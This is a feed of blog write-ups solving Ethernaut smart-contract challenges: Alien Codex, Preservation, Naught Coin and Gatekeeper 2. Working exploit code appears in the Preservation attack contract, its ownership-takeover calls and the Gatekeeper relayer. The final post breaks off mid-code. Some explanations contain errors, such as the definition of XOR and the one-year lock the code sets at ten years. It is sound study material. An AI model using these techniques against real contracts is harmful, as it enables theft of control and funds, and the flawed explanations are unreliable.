            <link>https://paragraph.com/@banky/ethernaut-16-alien-codex</link>
            <guid>cjUgz0bdpRfrZAfQKAlJ</guid>
            <pubDate>Fri, 09 Sep 2022 01:35:53 GMT</pubDate>
            <description><![CDATA[This is my solution to the Alien Codex ethernaut challenge. During experimentation, I found that the EVM prevents exploits like this from happening in current versions. The contract for the problem is as follows// SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function make_contact() public { contact = true; } function record(byte...]]></description>
            <content:encoded><![CDATA[<p>This is my solution to the Alien Codex ethernaut challenge. During experimentation, I found that the EVM prevents exploits like this from happening in current versions. The contract for the problem is as follows</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import &apos;../helpers/Ownable-05.sol&apos;;

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'../helpers/Ownable-05.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienCodex</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{

  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> contact;
  <span class="hljs-keyword">bytes32</span>[] <span class="hljs-keyword">public</span> codex;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">contacted</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">assert</span>(contact);
    <span class="hljs-keyword">_</span>;
  }
  
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">make_contact</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    contact <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">record</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    codex.<span class="hljs-built_in">push</span>(_content);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retract</span>(<span class="hljs-params"></span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    codex.<span class="hljs-built_in">length</span>-<span class="hljs-operator">-</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">revise</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> i, <span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    codex[i] <span class="hljs-operator">=</span> _content;
  }
}
</code></pre><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>The objective is to take ownership of the contract. As we can see, the contract inherits from <code>Ownable</code>. <code>Ownable</code> has one item in storage which is the <code>address</code> of the deployer of the contract. Thus, the <code>_owner</code> variable will be in the first storage slot. Since an <code>address</code> is only 20 bytes, the first storage slot gets packed in with the <code>bool</code> , <code>contact</code> that is defined after it. Sure enough, checking the storage for the first slot, we get</p><pre data-type="codeBlock" text="await web3.eth.getStorageAt(contract.address, 0)
&quot;0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272&quot; 
"><code>await web3.eth.getStorageAt(<span class="hljs-keyword">contract</span>.<span class="hljs-built_in">address</span>, <span class="hljs-number">0</span>)
<span class="hljs-string">"0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272"</span> 
</code></pre><p>Here, we can see that the address that deployed the contract is <code>da5b3fb76c78b6edee6be8f11a1c31ecfb02b272</code> and the boolean <code>contact</code> is set to <code>true</code> which is the first 1. Note that when tightly packing, the EVM stores values from left to right.</p><p>The contract can record new values into the <code>codex</code> by calling the <code>record</code> function. This simply pushes a new value into the array. To remove values from the array, this contract does something interesting with <code>retract</code>. Instead of trying to remove the actual value, it just reduces the length of the array. This makes it so that the ABI will throw an error when trying to access values beyond the length. This is all well and good, but there is no check for underflow here which is a potential source for an exploit.</p><p>The final function in the contract is <code>revise</code>. This simply allows the caller to set any value in the <code>codex</code> array.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>The key breakthrough to tackling this problem is to understand that storage slots wrap around - similar to unsigned integers. This means that after slot 2^256 - 1, the next slot is slot 0. This means that if we can set a high enough value in the array, the array can be used to effectively write to any slot in the contract.</p><p>The first step to take here is to “open” up the array to the entire storage space of the contract. By forcing an underflow by calling <code>retract</code> when there are no values, the length of the array gets set to 0xfff…fff. The address of the 0 slot can then be found by simply getting the difference between this and the array slot location and adding 1. Setting this new index with <code>revise</code> solves the challenge</p>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 15: Preservation]]></title>
            <link>https://paragraph.com/@banky/ethernaut-15-preservation</link>
            <guid>rRS9EfjxgXTOFGwIbDwd</guid>
            <pubDate>Wed, 24 Aug 2022 02:15:01 GMT</pubDate>
            <description><![CDATA[The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...]]></description>
            <content:encoded><![CDATA[<p>The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F">https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F</a></p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>We have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the <code>storedTime</code> value on the <code>Preservation</code> instance. The library code being used has also been highlighted at the bottom</p><pre data-type="codeBlock" text="contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256(&quot;setTime(uint256)&quot;));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Preservation</span> </span>{

  <span class="hljs-comment">// public library contracts </span>
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone1Library;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone2Library;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner; 
  <span class="hljs-keyword">uint</span> storedTime;
  <span class="hljs-comment">// Sets the function signature for delegatecall</span>
  <span class="hljs-keyword">bytes4</span> <span class="hljs-keyword">constant</span> setTimeSignature <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"setTime(uint256)"</span>));

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _timeZone1LibraryAddress, <span class="hljs-keyword">address</span> _timeZone2LibraryAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    timeZone1Library <span class="hljs-operator">=</span> _timeZone1LibraryAddress; 
    timeZone2Library <span class="hljs-operator">=</span> _timeZone2LibraryAddress; 
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }
 
  <span class="hljs-comment">// set the time for timezone 1</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setFirstTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _timeStamp</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    timeZone1Library.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(setTimeSignature, _timeStamp));
  }

  <span class="hljs-comment">// set the time for timezone 2</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setSecondTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _timeStamp</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    timeZone2Library.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(setTimeSignature, _timeStamp));
  }
}

<span class="hljs-comment">// Simple library contract to set the time</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LibraryContract</span> </span>{

  <span class="hljs-comment">// stores a timestamp </span>
  <span class="hljs-keyword">uint</span> storedTime;  

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _time</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    storedTime <span class="hljs-operator">=</span> _time;
  }
}
</code></pre><p>Off the bat, we can see that <code>delegatecall</code> is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code <em>with the context</em> of the calling contract. This means that the storage values in the <code>Preservation</code> instance are used even though the function is being run from the <code>LibraryContract</code> instance.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>When using <code>delegatecall</code>, the caller contract accesses storage by the order it is written. ie. There is an error in this <code>LibraryContract</code> because the <code>storedTime</code> field is in the first slot, however it is in the fourth slot in <code>Preservation</code>. This means that setting <code>storedTime</code> through a delegate call will actually be setting <code>timeZone1Library</code> in the <code>Preservation</code> contract.</p><p>We can verify this with a call to the second library function.</p><pre data-type="codeBlock" text="await contract.setSecondTime(10);
await contract.timeZone1Library();
// &quot;0x000000000000000000000000000000000000000A&quot; 
"><code>await <span class="hljs-keyword">contract</span>.setSecondTime(<span class="hljs-number">10</span>);
await <span class="hljs-keyword">contract</span>.timeZone1Library();
<span class="hljs-comment">// "0x000000000000000000000000000000000000000A" </span>
</code></pre><p>This can be exploited to set the <code>timeZone1Library</code> to a contract that I control. I can then make this contract set the <code>owner</code> value. My attack contract looks like this</p><pre data-type="codeBlock" text="contract PreservationAttack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner; 
    uint storedTime;

    function setTime(uint _time) public {
        owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PreservationAttack</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone1Library;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> timeZone2Library;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner; 
    <span class="hljs-keyword">uint</span> storedTime;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _time</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0xCDcCAD1dE51d4e2671e0930a0b7310042998c252</span>);
    }
}
</code></pre><p>The order of the storage slots is consistent with the <code>Preservation</code> contract. First, I use the exploit outlined above to set the <code>Preservation</code> contract instance to point to my library for its <code>timeZone1Library</code> after deploying <code>PreservationAttack</code>.</p><pre data-type="codeBlock" text="await contract.setSecondTime(&quot;0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51&quot;)
"><code>await <span class="hljs-keyword">contract</span>.setSecondTime(<span class="hljs-string">"0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51"</span>)
</code></pre><p>Now, I simply have to call <code>setFirstTime</code> which will trigger the <code>setTime</code> method in my attacking contract.</p><pre data-type="codeBlock" text="await contract.timeZone1Library()
// &quot;0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51&quot; &lt;-- My contract

await contract.setFirstTime(10)
await contract.owner()
// &quot;0xCDcCAD1dE51d4e2671e0930a0b7310042998c252&quot; &lt;-- Me :D 
"><code>await <span class="hljs-keyword">contract</span>.timeZone1Library()
<span class="hljs-comment">// "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" &#x3C;-- My contract</span>

await <span class="hljs-keyword">contract</span>.setFirstTime(<span class="hljs-number">10</span>)
await <span class="hljs-keyword">contract</span>.owner()
<span class="hljs-comment">// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" &#x3C;-- Me :D </span>
</code></pre><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>As we’ve seen before, <code>delegatecall</code> can be dangerous and needs to be used with care</p></li><li><p>We could have used the <code>library</code> keyword for the <code>Library</code> contract instead of <code>contract</code>. This ensures that <code>Library</code> is not able to change state</p></li><li><p>Used some skills from earlier challenges for understanding storage slots</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 14: Naught Coin]]></title>
            <link>https://paragraph.com/@banky/ethernaut-14-naught-coin</link>
            <guid>B8rIOcIxfgel5MWeRO2G</guid>
            <pubDate>Wed, 24 Aug 2022 00:20:16 GMT</pubDate>
            <description><![CDATA[This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...]]></description>
            <content:encoded><![CDATA[<p>This is my solution for the 14th ethernaut challenge, Naught Coin</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F">https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F</a></p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>We have a smart contract which inherits the ERC20 implementation from OpenZeppelin</p><pre data-type="codeBlock" text="import &apos;@openzeppelin/contracts/token/ERC20/ERC20.sol&apos;;

 contract NaughtCoin is ERC20 {

  // string public constant name = &apos;NaughtCoin&apos;;
  // string public constant symbol = &apos;0x0&apos;;
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20(&apos;NaughtCoin&apos;, &apos;0x0&apos;)
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now &gt; timeLock);
      _;
    } else {
     _;
    }
  } 
}
"><code><span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/token/ERC20/ERC20.sol'</span>;

 <span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">NaughtCoin</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{

  <span class="hljs-comment">// string public constant name = 'NaughtCoin';</span>
  <span class="hljs-comment">// string public constant symbol = '0x0';</span>
  <span class="hljs-comment">// uint public constant decimals = 18;</span>
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> timeLock <span class="hljs-operator">=</span> <span class="hljs-built_in">now</span> <span class="hljs-operator">+</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span> <span class="hljs-number">365</span> <span class="hljs-literal">days</span>;
  <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> INITIAL_SUPPLY;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> player;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _player</span>) 
  <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">'NaughtCoin'</span>, <span class="hljs-string">'0x0'</span></span>)
  <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    player <span class="hljs-operator">=</span> _player;
    INITIAL_SUPPLY <span class="hljs-operator">=</span> <span class="hljs-number">1000000</span> <span class="hljs-operator">*</span> (<span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-keyword">uint256</span>(decimals()));
    <span class="hljs-comment">// _totalSupply = INITIAL_SUPPLY;</span>
    <span class="hljs-comment">// _balances[player] = INITIAL_SUPPLY;</span>
    _mint(player, INITIAL_SUPPLY);
    <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), player, INITIAL_SUPPLY);
  }
  
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to, <span class="hljs-keyword">uint256</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">lockTokens</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-built_in">super</span>.<span class="hljs-built_in">transfer</span>(_to, _value);
  }

  <span class="hljs-comment">// Prevent the initial owner from transferring tokens until the timelock has passed</span>
  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">lockTokens</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> player) {
      <span class="hljs-built_in">require</span>(<span class="hljs-built_in">now</span> <span class="hljs-operator">></span> timeLock);
      <span class="hljs-keyword">_</span>;
    } <span class="hljs-keyword">else</span> {
     <span class="hljs-keyword">_</span>;
    }
  } 
}
</code></pre><p>It adds on some implementation detail which prevents the owner from transferring tokens out until it has been a year since the contract was created. The challenge here is to transfer the tokens out to some other address</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>I found that this was one of the easier ethernaut challenges. Looking through the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/2.x/api/token/erc20#IERC20">ERC20 implementation</a> by OpenZeppelin, I found that there are additional ways to transfer tokens other than the <code>transfer</code> method which has been overriden above. Specifically, I was interested in the <code>transferFrom</code> method. The function signature looks like this</p><pre data-type="codeBlock" text="transferFrom(address sender, address recipient, uint256 amount) → bool
"><code>transferFrom(<span class="hljs-keyword">address</span> sender, <span class="hljs-keyword">address</span> recipient, <span class="hljs-keyword">uint256</span> amount) → <span class="hljs-keyword">bool</span>
</code></pre><p>This function uses the “allowance” mechanism from ERC20. All this means is that accounts can allow other accounts to spend tokens on their behalf. In my case, I decided I can just allow my own account to spend tokens, and then use <code>transferFrom</code> to send those tokens to another address.</p><pre data-type="codeBlock" text="await contract.increaseAllowance(player, &quot;1000000000000000000000000&quot;)
await contract.transferFrom(player, &quot;&lt;other address&gt;&quot;, &quot;1000000000000000000000000&quot;)
"><code>await <span class="hljs-keyword">contract</span>.increaseAllowance(player, <span class="hljs-string">"1000000000000000000000000"</span>)
await <span class="hljs-keyword">contract</span>.transferFrom(player, <span class="hljs-string">"&#x3C;other address>"</span>, <span class="hljs-string">"1000000000000000000000000"</span>)
</code></pre><p>And voila, the level is cracked.</p><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>Overriding functions works to add custom authorization behaviour, but we have to be careful about all the mechanisms that we need to override</p></li><li><p>I also learned about the full implementation of ERC20 from OpenZeppelin</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 13: Gatekeeper 2]]></title>
            <link>https://paragraph.com/@banky/ethernaut-13-gatekeeper-2</link>
            <guid>uWuDEOipHbL2ANnS5e72</guid>
            <pubDate>Tue, 23 Aug 2022 21:32:31 GMT</pubDate>
            <description><![CDATA[After solving the first gatekeeper problem, there is a second one waiting. The problem is here https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38dInvestigationThe contract for this problem looks quite similar to the first one. There are multiple gates which must be passed in order to call the enter function.contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := ex...]]></description>
            <content:encoded><![CDATA[<p>After solving the first gatekeeper problem, there is a second one waiting. The problem is here</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d">https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d</a></p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>The contract for this problem looks quite similar to the first one. There are multiple gates which must be passed in order to call the <code>enter</code> function.</p><pre data-type="codeBlock" text="contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GatekeeperTwo</span> </span>{

  <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> entrant;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">uint</span> x;
    <span class="hljs-keyword">assembly</span> { x <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(<span class="hljs-built_in">caller</span>()) }
    <span class="hljs-built_in">require</span>(x <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(_gateKey) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">0</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>);
    <span class="hljs-keyword">_</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"><span class="hljs-keyword">bytes8</span> _gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">gateOne</span> <span class="hljs-title">gateTwo</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params">_gateKey</span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    entrant <span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
}
</code></pre><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>To pass <code>gateOne</code>, we can use a similar approach to the previous challenge. To ensure that <code>msg.sender != tx.origin</code>, the contract functions can be called through a relayer contract.</p><p>Passing <code>gateTwo</code> is a bit more tricky. Here we see our first example of assembly code being used in a contract. Specifically here we have the use of inline assembly. This allows contract developers to write logic that is not supported by the solidity compiler. It is thus extremely useful for library creators to have access to these low level features of the EVM. Specifically, the function being used here is the <code>extcodesize</code> function.</p><p>After doing some research, I found that <code>extcodesize</code> is used to determine the size of a contract at a given address. Some people use this to ensure that functions are being called by non-contracts. One thing to note is that this call returns 0 if the contract target has not been initialized, ie. the constructor has not completed running. Therefore, it is possible to bypass this by making calls through the constructor of my relayer contract.</p><p>Finally, <code>gateThree</code> has some binary operation logic which must pass in order for it to work. The full operation is as follows</p><pre data-type="codeBlock" text="uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
"><code><span class="hljs-keyword">uint64</span>(<span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)))) <span class="hljs-operator">^</span> <span class="hljs-keyword">uint64</span>(_gateKey) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-number">0</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>
</code></pre><p>First, we can take a look at the right-hand side of the operation. <code>uint64(0) - 1</code> causes the unsigned integer to underflow. Thus, this value is the largest possible <code>uint64</code> which is <code>0xffffffffffffffff</code>. Now, we can try to match up the left side of the operation with this.</p><p>The <code>^</code> operation is an XOR, which sets each bit to 1 if both inputs are 0. eg. binary <code>101</code> ^ <code>011</code> = <code>110</code>. Thus, to get the output that we want, <code>_gateKey</code> just needs to be the exact flipped bits of <code>bytes8(keccak256(abi.encodePacked(msg.sender))</code>. We can get this by doing an XOR on <code>bytes8(keccak256(abi.encodePacked(msg.sender))</code>with <code>0xffffffffffffffff</code>. My full relayer contract code looks like this</p><pre data-type="codeBlock" text="constructor (address _gatekeeperAddress) {
        bytes8 negatedGateKey = bytes8(keccak256(abi.encodePacked(address(this))));
        bytes8 gateKey = negatedGateKey ^ 0xffffffffffffffff;

        (bool success, ) = _gatekeeperAddress.call(abi.encodeWithSignature(&quot;enter(bytes8)&quot;, gateKey));

        require(success);
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _gatekeeperAddress</span>) </span>{
        <span class="hljs-keyword">bytes8</span> negatedGateKey <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))));
        <span class="hljs-keyword">bytes8</span> gateKey <span class="hljs-operator">=</span> negatedGateKey <span class="hljs-operator">^</span> <span class="hljs-number">0xffffffffffffffff</span>;

        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> _gatekeeperAddress.<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"enter(bytes8)"</span>, gateKey));

